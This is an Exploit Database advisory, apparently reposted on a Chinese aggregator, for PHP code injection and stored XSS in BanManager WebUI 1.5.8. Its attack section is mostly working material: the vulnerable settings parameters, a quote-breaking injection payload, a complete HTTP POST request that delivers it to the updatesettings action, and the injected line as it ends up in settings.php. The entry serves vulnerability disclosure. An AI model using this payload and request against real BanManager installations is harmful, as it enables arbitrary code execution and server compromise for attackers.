BanManager WebUI 1.5.8 – PHP Code Injection

• Exploit Database
• 35 阅读

• 作者： HaHwul
  日期： 2017-05-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41989/

• BanManager WebUI 1.5.8 - PHP Code Injection & Stored XSS
   
  # Exploit Title: BanManager WebUI - PHP Code Injection & Stored XSS
  # Date: 2017-05-10
  # Exploit Author: HaHwul
  # Exploit Author Blog: www.hahwul.com
  # Vendor Homepage: https://github.com/BanManagement/BanManager-WebUI
  # Software Link: https://github.com/BanManagement/BanManager-WebUI.git
  # Version: 1.5.8
  # Tested on: Debian
  
  ### Vulnerability
  Code executed via the updatesetting action will modify 'setting.php'.
  In the process, there is not verification of the input value, so it is possible to insert php code.
  
  ### Vulnerable param
  PHP Code Injection & Stored XSS
   - footer
   - buttons_before
   - buttons_after
  
  Only PHP Code Injection
   - banextra
   - muteextra
  
  ### Attack code
  PAYLOAD: aaaaaa';$hacker=hwul//inject_php_code';
  
  POST /vul_test/BanManager-WebUI/index.php?action=updatesettings&ajax=true&authid=3da541559918a808c2402bba5012f6c60b27661c HTTP/1.1
  Host: 127.0.0.1
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
  Accept: application/json, text/javascript, */*; q=0.01
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Referer: http://127.0.0.1/vul_test/BanManager-WebUI/index.php?action=admin
  Content-Length: 168
  Cookie: BanManagement=epnsf8sut1o05ps574h4861gu7
  DNT: 1
  Connection: keep-alive
  
  type=mainsettings&iframe=on&utf8=on&footer=aaaaaa'%3B%24hacker%3Dhwul%2F%2Finject_php_code&latestbans=on&latestmutes=on&latestwarnings=on&buttons_before=&buttons_after=
  
  
  ### Result(in settings.php)
  $settings['password'] = 'asdf'; // ACP Password (Keep it strong)
  $settings['footer'] = 'aaaaaa';$hacker=hwul//inject_php_code';
  $settings['admin_link'] = true; // Show the admin link in the footer of all page
  $settings['bm_info'] = true; // Show ban management infomation aside 'Account Status'